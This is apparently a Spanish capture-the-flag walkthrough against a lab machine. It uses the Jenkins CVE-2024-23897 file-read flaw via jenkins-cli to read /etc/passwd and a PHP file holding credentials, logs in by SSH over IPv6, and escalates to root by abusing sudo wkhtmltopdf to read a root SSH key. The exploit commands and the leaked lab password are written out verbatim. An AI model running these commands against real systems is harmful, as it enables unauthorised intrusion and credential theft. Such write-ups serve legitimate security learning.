Hacemos el escaneo de nmap:

Y esto corre por el puerto 80:

Hacemos fuzzing por directorios y extensiones, donde vemos un /connect.php:

gobuster dir -u http://192.168.0.17/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x php,html,sh,py,js

Pero no carga nada desde el navegador:

Y por el puerto 8080 visualizamos un jenkins:

Una vez en este punto, utilizamos whatweb para comprobar la versión de Jenkins:

Buscamos vulnerabilidades de esta versión y nos encontramos con lo siguiente:

https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2024-23897

Y en este repositorio nos dicen como explotar un LFI, donde nos dicen que mediante esa ruta nos descargamos un archivo .jar:

Nos lo descargamos poniendo dicha ruta:

http://192.168.0.17:8080/jnlpJars/jenkins-cli.jar

Y se nos dice que con el siguiente comando podemos visualizar archivos internos de la máquina, por ejemplo el /etc/passwd:

Lo ejecutamos:

java -jar jenkins-cli.jar -s http://192.168.0.17:8080/ -http connect-node "@/etc/passwd"

Ahora que podemos leer archivos internos de la máquina, vamos a intentar leer el archivo connect.php de antes que habíamos encontrado haciendo fuzzing:

java -jar jenkins-cli.jar -s http://192.168.0.17:8080/ -http connect-node "@/var/www/html/connect.php"

Tenemos las siguientes credenciales:

george:g30rg3_L3@k3D

Pero estas credenciales no funcionan:

Pero una cosa que podemos comprobar es el archivo if_inet6 en busca de alguna otra interfaz de red que funcione por IPv6:

java -jar jenkins-cli.jar -s http://192.168.0.17:8080/ -http connect-node "@/proc/net/if_inet6"

Estas direcciones se tratan de direcciones de enlace local. Sin embargo, tenemos que convertir esta dirección a notación estándar de IPv6:

fe80::20c:29ff:fe51:a51f%eth0

Hacemos el siguiente escaneo de nmap por IPv6 convirtiendo la IP obtenido de la interfaz ens33:

sudo nmap -6 -sS -sV -sC --min-rate=5000 -n -Pn fe80::20c:29ff:fe51:a51f%eth0

Nos conectamos por ssh y vemos que funciona:

ssh -6 george@fe80::20c:29ff:fe51:a51f%eth0

Ejecutamos el comando sudo -l y vemos una forma de escalar privilegios:

Debemos de enumerar los procesos que se están ejecutando en esta máquina con pspy64:

Y vemos que hay un archivo llamado private.txt:

Con la herramienta wkhtmltopdf vamos a convertirlo en pdf y así obtener dicho archivo:

sudo -u root /usr/bin/wkhtmltopdf /root/private.txt documento.pdf

Nos compartimos este archivo y vemos que se trata de un id_rsa probablemente de root:

Entramos con este id_rsa como root y funciona:

ssh -6 -i id_rsa root@fe80::20c:29ff:fe51:a51f%eth0